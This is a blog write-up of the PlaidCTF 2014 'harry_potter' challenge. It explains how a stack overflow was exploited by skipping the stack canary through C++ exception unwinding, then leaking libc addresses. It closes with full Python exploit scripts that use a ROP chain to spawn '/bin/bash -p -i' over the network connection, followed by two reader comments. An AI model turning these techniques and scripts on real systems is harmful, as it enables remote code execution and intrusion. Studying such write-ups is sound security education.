21
Apr
2014

PlaidCTF 2014 – harry_potter [300]

For PlaidCTF2014, Eindbazen and fail0verflow joined forces as 0xffa, the Final Fail Alliance. Don’t miss out on other write-ups at fail0verflow’s site!

The harry_potter pwnable is a network service that does not appear to do a whole lot:

$ nc 54.198.150.4 666
If you guess the password, I will give you a reward!

Running the binary in strace shows what is going on:

$ strace -o hptrace ./harry_potter 
If you guess the password, I will give you a reward!
AAAAAAAAAAAA
^C

hptrace:

write(2, "If you guess the password, I wil"..., 52) = 52
write(2, "\n", 1)                       = 1
read(0, "AAAA", 4)                      = 4
read(0, "AAAAAAAA\n", 1094795585)       = 9
read(0, 0x7fff4003f561, 1094795576)     = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGINT {si_signo=SIGINT, si_code=SI_KERNEL} ---
+++ killed by SIGINT +++

Now 1094795585 is 0×41414141 in hex, so looks like the binary first reads a 32-bit number which indicates how many bytes are going to follow. Let’s assume little-endian byte order:

$ echo -e "\x01\x00\x00\x00A" | ./harry_potter 
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
WRONG PASSWORD!

Looks ok. Let’s give it a password.

$ echo -e "\x0c\x00\x00\x00PASSWORD=ABC" | ./harry_potter 
If you guess the password, I will give you a reward!
WRONG PASSWORD!

Ok. Now let’s try a buffer overflow:

$ perl -e "print pack('I', 0x10000) . 'A'x1000" | ./harry_potter 
If you guess the password, I will give you a reward!
EXCEPTION: Error during read
$ perl -e "print pack('I', 0x10000) . 'A'x2000" | ./harry_potter 
If you guess the password, I will give you a reward!
Bus error
$ perl -e "print pack('I', 0x10000) . 'A'x5000" | ./harry_potter 
If you guess the password, I will give you a reward!
Bus error

Hm, looks like a trivial buffer overflow. But what’s up with the “EXCEPTION”? Oh well, since everything seems to be going well so far let’s try to find the buffer length without even reversing anything.

$ for i in `seq 0 16 1600`
do echo $i && (perl -e "print pack('I', $i) . 'A'x$i;" | ./harry_potter)
done

Output (repetitive parts snipped out):

0
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
WRONG PASSWORD!
16
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
WRONG PASSWORD!

<<<<<<<<<<< SNIP >>>>>>>>>>>>

1008
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
WRONG PASSWORD!
1024
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
WRONG PASSWORD!
1040
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
*** stack smashing detected ***: ./harry_potter terminated
1056
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
*** stack smashing detected ***: ./harry_potter terminated

<<<<<<<<<<< SNIP >>>>>>>>>>>>

1312
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
*** stack smashing detected ***: ./harry_potter terminated
1328
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
1344
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]

<<<<<<<<<<< SNIP >>>>>>>>>>>>

1600
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]

So there’s a stack protector, but beyond a certain input length it will not be triggered? What’s up with that? Guess we’ll have to reverse the binary after all.

Reversing

Someone else had already done some reversing on this binary and found that the correct password is checked using a sha256 function embedded in the program. This sha256 is compared against the value at 0×404448:

; 
; Segment .rodata
; 
; Range 0x404400 - 0x404720 (800 bytes)
; File offset 17408 (800 bytes)
; 
0000000000404400 db  0x01 ; '.'
0000000000404401 db  0x00 ; '.'
0000000000404402 db  0x02 ; '.'
0000000000404403 db  0x00 ; '.'
0000000000404404 db         "Error during read", 0        ; XREF=0x401178
0000000000404416 db         "PASSWORD", 0                 ; XREF=0x40126e
000000000040441f db         "BAD FORMAT", 0               ; XREF=0x40127f
000000000040442a db         "EXPECTED: PASSWORD=[PASSWORD]", 0 ; XREF=0x401298
0000000000404448 db         0x88, 0x10, 0xad, 0x58, 0x1e, 0x59, 0xf2, 0xbc ; XREF=0x400f12, 0x401302
0000000000404450 db         0x39, 0x28, 0xb2, 0x61, 0x70, 0x7a, 0x71, 0x30
0000000000404458 db         0x8f, 0x7e, 0x13, 0x9e, 0xb0, 0x48, 0x20, 0x36
0000000000404460 db         0x6d, 0xc4, 0xd5, 0xc1, 0x8d, 0x98, 0x02, 0x25
0000000000404468 db  0x00 ; '.'
0000000000404469 db         "If you guess the password, I will give you a reward!", 0 ; XREF=0x400ee2
000000000040449e db         "WRONG PASSWORD!", 0          ; XREF=0x400f90
00000000004044ae db         "EXCEPTION: ", 0              ; XREF=0x400fd1

Running this value through a sha256 hash cracker gives the password “wrong”. Let’s verify that:

$ perl -e "print pack('I', 14) . 'PASSWORD=wrong'" | ./harry_potter 
If you guess the password, I will give you a reward!

        .-"-.            .-"-.            .-"-.           .-"-.
      _/_-.-_\_        _/.-.-.\_        _/.-.-.\_       _/.-.-.\_
     / __} {__ \      /|( o o )|\      ( ( o o ) )     ( ( o o ) )
    / //  "  \\ \    | //  "  \\ |      |/  "  \|       |/  "  \|
   / / \'---'/ \ \  / / \'---'/ \ \      \'/^\'/         \ .-. /
   \ \_/`"""`\_/ /  \ \_/`"""`\_/ /      /`\ /`\         /`"""`\
jgs \           /    \           /      /  /|\  \       /       \
 -={ see no evil }={ hear no evil }={ speak no evil }={ have no fun }=-

Ok. That’s a … cool reward I guess? But it doesn’t appear the this ascii art (which is decrypted based on the password) helps with exploitation in any way, so let’s get back to the bug. I’d rather have a shell! :)

Here is the pseudo-C generated by Hopper for the function that reads the password:

function sub_40112c {
  r12 = rdi;
  rbp = rsi;
  rbx = rdx;
  rsp = rsp - 0x10;
  while (rbx > 0x0) {
    rax = read(r12, rbp, SIGN_EXTEND(rbx));
    if (rax > 0x0) {
      rbx = rbx - rax;
      rbp = rbp + SIGN_EXTEND(rax);
    }
    else {
      rax = __errno_location();
      if (*(int32_t *)rax != 0x4) {
        rax = __cxa_allocate_exception(0x10);
        rbx = rax;
        std::basic_string::basic_string(
			rsp + 0x8, "Error during read", rsp + 0x7);
        std::runtime_error::runtime_error(rbx, rsp + 0x8);
        std::basic_string::~basic_string(rsp + 0x8);
        rax = __cxa_throw(
			rbx, 
			typeinfo for std::runtime_error, 
			std::runtime_error::~runtime_error()
		);
      }
    }
  }
  return rax;
}

Basically, it calls read() in a loop until the desired number of bytes has been read. If read() returns an error value that is not EINTR an exception is thrown.

The calling function does this:

                     sub_401223:
; setup stack frame (interleaved with some argument setup
; for the first read call)
0000000000401223     push   rbp
0000000000401224     xor    edi, edi
0000000000401226     mov    edx, 0x4
000000000040122b     push   rbx
000000000040122c     sub    rsp, 0x448
0000000000401233     lea    rsi, qword [ss:rsp+0xc]

; initialize stack protector
0000000000401238     mov    rax, qword [fs:0x28] 
0000000000401241     mov    qword [ss:rsp+0x438], rax 

; do read calls
0000000000401249     xor    eax, eax
000000000040124b     call   0x40112c ; my_read(0, rsp+0xc, 4)
0000000000401250     mov    edx, dword [ss:rsp+0xc]
0000000000401254     lea    rsi, qword [ss:rsp+0x38]
0000000000401259     xor    edi, edi
000000000040125b     call   0x40112c ; my_read(0, rsp+0x38, *(rsp+0xc))
...

This is x86-64 assembly, so the arguments are in the registers rdi, rsi, and rdx.

As expected, it first reads 4 bytes. Those 4 bytes are then used as the length to read in the next call to the read function. The destination is indeed a stack buffer, and we can also see the stack cookie being initialized on the stack.

Since the stack cookie is at esp+0×438 and the buffer is at esp+0×38, we should get a stack cookie error if we send more than 0×400 bytes. Let’s test this:

$ perl -e "print pack('I', 0x400) . 'A'x0x400" | ./harry_potter 
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
WRONG PASSWORD!
$ perl -e "print pack('I', 0x401) . 'A'x0x401" | ./harry_potter 
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]
*** stack smashing detected ***: ./harry_potter terminated
Aborted

Ok, so far so good. But remember that after a certain length there would no longer be a stack protector error. What’s going on there?

Actually as it turns out it’s not something useful here. As you can see in the stack protector message, the error message contains the program name. The program name is taken from argv[0], which is stored on the stack. Also the fatal error handler in our libc tries to read some environment variables, which are also on the stack. So if we overwrite the stack all the way up to the argv and environment vectors, the program will crash while trying to print the stack protector error string:

$ perl -e "print pack('I', 2000) . 'A'x2000" > ddd
$ gdb harry_potter 
GNU gdb (GDB) 7.6.1-ubuntu
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /home/wizard/harry_potter...(no debugging symbols found)...done.
(gdb) r < ddd
Starting program: /home/wizard/harry_potter < ddd
If you guess the password, I will give you a reward!
BAD FORMAT
EXPECTED: PASSWORD=[PASSWORD]

Program received signal SIGBUS, Bus error.
__GI_getenv (name=0x7ffff73780be "BC_FATAL_STDERR_", name@entry=0x7ffff73780bc "LIBC_FATAL_STDERR_") at getenv.c:89
89	getenv.c: No such file or directory.
(gdb) bt
#0  __GI_getenv (name=0x7ffff73780be "BC_FATAL_STDERR_", name@entry=0x7ffff73780bc "LIBC_FATAL_STDERR_") at getenv.c:89
#1  0x00007ffff722ffd2 in __GI___libc_secure_getenv (name=name@entry=0x7ffff73780bc "LIBC_FATAL_STDERR_") at secure-getenv.c:30
#2  0x00007ffff726824a in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff7379f10 "*** %s ***: %s terminated\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:67
#3  0x00007ffff730608c in __GI___fortify_fail (msg=, msg@entry=0x7ffff7379ef8 "stack smashing detected") at fortify_fail.c:37
#4  0x00007ffff7306030 in __stack_chk_fail () at stack_chk_fail.c:28
#5  0x000000000040134e in ?? ()
#6  0x4141414141414141 in ?? ()
#7  0x4141414141414141 in ?? ()
#8  0x4141414141414141 in ?? ()

So, we don’t see the stack smashing error message, but that doesn’t mean the program isn’t getting aborted.

Getting RIP

However, this is an idea worth following up on. Because what happens when we fill up the entire stack, and the read function tries to read more data? read() will return an error, errno will be EFAULT, and an exception will be raised. This exception will be caught later in the program, skipping the stack cookie check! So hopefully we can use this to get RIP (this is a 64 bit binary, so the instruction pointer is named RIP instead of EIP).

Let’s see this in action, using 200000 A’s this time:

#0  next_env_entry (position=) at arena.c:339
#1  ptmalloc_init () at arena.c:400
#2  0x00007fa79967cfee in malloc_hook_ini (sz=, caller=) at hooks.c:29
#3  0x00007fa799f374e3 in __cxa_allocate_exception () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x000000000040116e in ?? ()
#5  0x0000000000401260 in ?? ()
#6  0x4141414141414141 in ?? ()
#7  0x4141414141414141 in ?? ()

Ok, so apparently malloc likes to look in the environment as well. WTF. At least it’s trying to allocate an exception this time. Maybe malloc will give up looking in the environment if it encounters a NULL ptr? After all, the environ array is terminated by a NULL ptr. Let’s use nul bytes instead of A’s this time.

If you guess the password, I will give you a reward!
terminate called after throwing an instance of 'std::runtime_error'
  what():  Error during read
Aborted (core dumped)

Nice, that’s more like it. Let’s look at the backtrace:

#0  0x00007f84c805bf77 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1  0x00007f84c805f5e8 in __GI_abort () at abort.c:90
#2  0x00007f84c89676e5 in __gnu_cxx::__verbose_terminate_handler() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3  0x00007f84c8965856 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x00007f84c8965883 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5  0x00007f84c8965aae in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6  0x00000000004011ae in ?? ()
#7  0x0000000000401260 in ?? ()
#8  0x0000000000000000 in ?? ()

So the exception is being thrown, but it’s not being caught anywhere. That’s strange, because earlier the program was outputting an error message “EXCEPTION: Error during read” that looked like it came from an exception handler somewhere. Looking at main() we can indeed see an exception handler that prints such a message:

0000000000400fa9     mov    rbx, rax
0000000000400fac     call   __plt____cxa_end_catch
0000000000400fb1     mov    rdi, rbx
0000000000400fb4     jmp    0x400fbe
0000000000400fb6     dec    rdx
0000000000400fb9     mov    rdi, rax
0000000000400fbc     je     0x400fc3
0000000000400fbe     call   __plt___Unwind_Resume
0000000000400fc3     call   __plt____cxa_begin_catch
0000000000400fc8     mov    rdx, qword [ds:rax]
0000000000400fcb     mov    rdi, rax
0000000000400fce     call   qword [ds:rdx+0x10]
0000000000400fd1     mov    esi, 0x4044ae ; "EXCEPTION: "
0000000000400fd6     mov    edi, 0x605340
0000000000400fdb     mov    rbx, rax
0000000000400fde     call   std::basic_ostream::operator<<
0000000000400fe3     mov    rsi, rbx
0000000000400fe6     mov    rdi, rax
0000000000400fe9     call   std::basic_ostream::operator<< 
0000000000400fee     mov    rdi, rax
0000000000400ff1     call   std::basic_ostream::endl
0000000000400ff6     call   __plt____cxa_end_catch
0000000000400ffb     pop    rbx
0000000000400ffc     pop    rbp
0000000000400ffd     xor    eax, eax
0000000000400fff     pop    r12
0000000000401001     ret    

So probably we overwrote something on the stack that means the C++ stack unwinding code can no longer find this exception handler. Since the C++ stack unwinding code uses return addresses we probably have to keep the return address of the vulnerable function intact.

Recall that the prologue of the vulnerable function looks like this:

0000000000401223     push   rbp
0000000000401224     xor    edi, edi
0000000000401226     mov    edx, 0x4
000000000040122b     push   rbx
000000000040122c     sub    rsp, 0x448

And that the buffer being read into is at rsp+0×38. That means that the return address is originally at buffer offset 0×448 + 8 + 8 – 0×38 = 1056 (the push instructions push 8 bytes each onto the stack, which means they each subtract 8 from rsp). So we need to put the original return address at offset 1056. But what is the return address?

In main():

...
0000000000400efb     call   sub_401223 ; vulnerable function
0000000000400f00     test   eax, eax
...

So the original return address is 0x400f00. Let’s do this.

$ perl -e "
print pack('I', 200000); 
print 'A'x1056; 
print pack('Q', 0x400f00);
print \"\0\"x20000;
" > ddd
$ cat ddd | ./harry_potter
If you guess the password, I will give you a reward!
EXCEPTION: Error during read
Segmentation fault (core dumped)

Ha! The exception is being caught now. And if we look in the core dump, it’s crashing with RIP=0, so it returned to an address we control from main() (remember we’re writing all those nul bytes to the stack?). So let’s find out where this return address is exactly.

This is the prologue of main():

0000000000400ee0     push   r12
0000000000400ee2     mov    esi, 0x404469
0000000000400ee7     mov    edi, 0x605340
0000000000400eec     push   rbp
0000000000400eed     push   rbx

We know the offset of the return address of a call made from this function is at 1056. So within this function rsp is at offset 1056+8 = 1064. Add 3*8 for the pushes and we end up with offset 1088. So we need (1088 – 1056) – 8 = 24 bytes of padding after the 0x400f00 return address.

$ perl -e "
print pack('I', 200000); 
print 'A'x1056; 
print pack('Q', 0x400f00);
print 'B'x24;
print pack('Q', 0xdeadbeef);
print \"\0\"x20000;
" > ddd
$ cat ddd | ./harry_potter
If you guess the password, I will give you a reward!
EXCEPTION: Error during read
Segmentation fault (core dumped)

Awesome! Now it crashes with RIP=0xdeadbeef. C++’s exception unwinding has neatly dropped us back into main(), skipping over the stack-cookie checking code in the epilogue of the vulnerable function. main() then returned to an overwritten return address, and we have RIP control.

Exploitation

Now we have RIP control, but that doesn’t mean we’re done yet. This binary has very few useful gadgets, and we don’t know which libc is being used. So we really want to leak some data about libc so we can get some useful ROP gadgets to make the exploit.

To prevent libc moving around due to aslr I really want to be able to leak as many pieces of memory as I want in a single connection. Luckily, since this binary has the socket as stdin / stdout, this is easy to do: we can just return to main() and start the program again.

In fact, it gets even better. At the start of main() there’s some code that prints the initial message “If you guess the password, I will give you a reward!”:

0000000000400ee0     push   r12
0000000000400ee2     mov    esi, 0x404469 ; "If you guess the password, I will give you a reward!"
0000000000400ee7     mov    edi, 0x605340
0000000000400eec     push   rbp
0000000000400eed     push   rbx
0000000000400eee     call   std::basic_ostream::operator<< 
0000000000400ef3     mov    rdi, rax
0000000000400ef6     call   std::basic_ostream::endl

If we first use a gadget to set rsi to an address we want to leak and then return to 0x400ee7 (skipping the first two instructions of main()), we can leak some data and the program will immediately enter the vulnerable function again right after that. So we can repeat this as many times as we want (almost, we move up the stack a little bit every time, so if we do very many iterations we’ll go off the end of the stack).

Now this is enough to build a generic leak function. I plugged this into our trusty library that can use a memory leak to resolve libc symbols, and used that to find the address of system. Now it’s just a matter of getting the argument for system() into memory in a known location. For that we reuse the my_read function that is used by the vulnerable function. This function takes three parameters: the file descriptor number, a pointer to the buffer, and the number of bytes to read. These arguments are passed in the registers rdi, rsi and rdx. My ROP gadget finder didn’t immediately spot a gadget to neatly control rdx, but that’s not a problem!

This function follows a very nicely exploitable pattern of first backing up the function arguments to registers that it saves in the prologue and restores in the epilogue:

                     my_read:
000000000040112c     push   r12
000000000040112e     mov    r12d, edi
0000000000401131     push   rbp
0000000000401132     mov    rbp, rsi
0000000000401135     push   rbx
0000000000401136     mov    ebx, edx
0000000000401138     sub    rsp, 0x10
...
00000000004011d6     add    rsp, 0x10
00000000004011da     pop    rbx
00000000004011db     pop    rbp
00000000004011dc     pop    r12
00000000004011de     ret        

So in fact we can just call 0×401138 instead of 0x40112c, and use r12, rbp, and rbx as arguments, instead of rdi, rsi and rdx. And the function’s own epilogue is a beautiful gadget that allows us to control exactly these values! :)

So now we have enough to construct two programs: one to leak the address of system(), and the other to spawn a shell. I tried to combine the two, but something in the stack unwinding code was messing up the part of the stack that contained the environment, which caused system() to fail.

Leak program:

import socket
import struct
import time
import leaklib

def pack(*args): return struct.pack("Q" * len(args), *args)
def unpack(data): return struct.unpack("Q" * (len(data) / 8), data)

def recvuntil(t):
	data = ''
	while not data.endswith(t):
		tmp = s.recv(1)
		if not tmp: break
		data += tmp
	print repr(data)
	return data

poprdi = 0x4040f3
poprsi = 0x404278 

near_entry = 0x400ee7 # print rsi, do everything, pop, ret

# padding size is determined dynamically
padsz = 0 

# a chunk of data that is calculated to be long enough that the stack 
# fills up quickly, but not so long that it has to contain the 
# interesting part of an overflow
prefixsz = 1000

def trigger(prefix):

	for i in range(1000):

		s.send(prefix)
		time.sleep(0.5)
		try:
			if s.recv(1, socket.MSG_DONTWAIT | socket.MSG_PEEK): return i
		except socket.error, (errno, msg):
			if errno != 11: raise

	raise RuntimeError()

def rop_exploit(*args):
	global prefixsz

	tmp = "\x00" * (1056 + 4 - prefixsz) 
	tmp += pack(0x400f00) 
	tmp += "\x00" * 24
	tmp += pack(*args).ljust(240, "\xff") 
	tmp += pack(0) # the environment pointer
	return tmp

first = True

def leakfunc(addr, sizehint):

	global padsz, first, prefixsz

	data = rop_exploit(
		poprsi,
		addr,
		near_entry,
	)

	prefix = struct.pack("I", 0x1000000).ljust(prefixsz, "\x00")

	if first:
		s.send(prefix)
		first = False

	s.send(data + "\x00" * padsz)

	i = trigger(prefix)

	# adjust padding so it's faster next time
	padsz += prefixsz * i

	# we move up the stack 48 bytes on each iteration
	padsz -= 48

	MARKER = "EXCEPTION: Error during read\n"

	# read start msg
	d = recvuntil(MARKER)

	# read leaked data, assume it arrives in a single packet
	d += s.recv(4096)

	if d.startswith(MARKER) and d.endswith("\n"):
		res = d[len(MARKER):-1] + "\x00"
	else:
		res = ''

	return res

s = socket.create_connection(('54.198.150.4', 666))

recvuntil('If you guess the password, I will give you a reward!\n')

leaker = leaklib.CachingLeaker(leakfunc)
elf = leaklib.OndemandELFBinary(
	leaker, 
	0x400000, 
	filedata=open('harry_potter').read()
)
libc = elf.get_libc_by_linkmap()
system = libc.resolve_symbol("system")

read = unpack(leaker.leakdata(0x605270, 8))[0]
delta = system - read

print "delta =", delta

Shell program:

import socket
import struct
import time
import leaklib

def pack(*args): return struct.pack("Q" * len(args), *args)
def unpack(data): return struct.unpack("Q" * (len(data) / 8), data)

def recvuntil(t):
	data = ''
	while not data.endswith(t):
		tmp = s.recv(1)
		if not tmp: break
		data += tmp
	print repr(data)
	return data

poprdi = 0x4040f3
poprsi = 0x404278 

near_entry = 0x400ee7 # print rsi, do everything, pop, ret
read_like = 0x401138 # fdnr in r12, buffer in rbp, len in rbx
read_pops = 0x4011da # pop rbx, rbp, r12 (len, addr, fd)
bss = 0x605340 + 0x148 # end of bss
pivot1 = 0x4013e1 # pop rbp; ret
pivot2 = 0x401414 # leave; ret

s = socket.create_connection(('54.198.150.4', 666))
#s = socket.create_connection(('localhost', 7777))

rop = pack(
	poprsi,
	0x605270,
	near_entry,
)

data = struct.pack("I", 0x10000)
data += "\x00" * 1056 
data += pack(0x400f00) 
data += "Q" * 24 
data += (rop).ljust(240, "\x00") 
data += pack(0)

recvuntil('If you guess the password, I will give you a reward!\n')

s.send(data)

chunksz = 1000
for i in range(1000):
	print i
	s.send(data[:chunksz])
	time.sleep(0.5)
	try:
		if s.recv(1, socket.MSG_DONTWAIT | socket.MSG_PEEK): break
	except socket.error, (errno, msg):
		if errno != 11: raise

time.sleep(0.5)
d = s.recv(1024)

assert (d.startswith("EXCEPTION: Error during read\n") and d.endswith("\n"))

d = d[len("EXCEPTION: Error during read\n"):-1]

read = unpack(d.ljust(8, "\x00")[:8])[0]
write = read + 96
delta = -590192
system = read + delta

rop = pack(
	read_pops,
	1000,
	bss,
	0, # fd 0
	read_like,
	0xdeadbeef,
	0xdeadbeef,
	0xdeadbeef,
	poprdi,
	bss,
	system,
)

data = struct.pack("I", 0x10000)
data += "\x00" * 1056 
data += pack(0x400f00) 
data += "Q" * 24 
data += (rop).ljust(240, "\x00") 
data += pack(0)

s.send(data[chunksz:])

for i in range(1000):
	print i
	s.send(("/bin/bash -p -i\0".ljust(1000, "\0")))
	time.sleep(0.5)
	try:
		if s.recv(1, socket.MSG_DONTWAIT | socket.MSG_PEEK): break
	except socket.error, (errno, msg):
		if errno != 11: raise

time.sleep(0.5)

# connect stdio to socket until either EOF's. use low-level calls to bypass stdin buffering.
# also change the tty to character mode so we can have line editing and tab completion.
import termios, tty, select, os
old_settings = termios.tcgetattr(0)
try:
    tty.setcbreak(0)
    c = True
    while c:
        for i in select.select([0, s.fileno()], [], [], 0)[0]:
            c = os.read(i, 1024)
            if not c: break
            os.write({0:s.fileno(),s.fileno():1}[i], c)
except KeyboardInterrupt: pass
finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

{2 Responses to “PlaidCTF 2014 – harry_potter [300]”}

  1. Great writup, thanks!
    Is leaklib published somewhere?
    Thanks

  2. I did exactly as the write-up said, but I just couldn’t raise the exception with size 200000 input.
    The harry_potter simply dies without making any crash. It turns out that exception will not occur if the address beyond stack is 0x7fffffff0000… since the GDB disables the ASLR, the exception will not occur if we give the size 200000 input from gdb.
    I got puzzled for a while because of this :( :( :( :( I think this is really important thing for exploitation and should be mentioned in write up.

    daehee

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>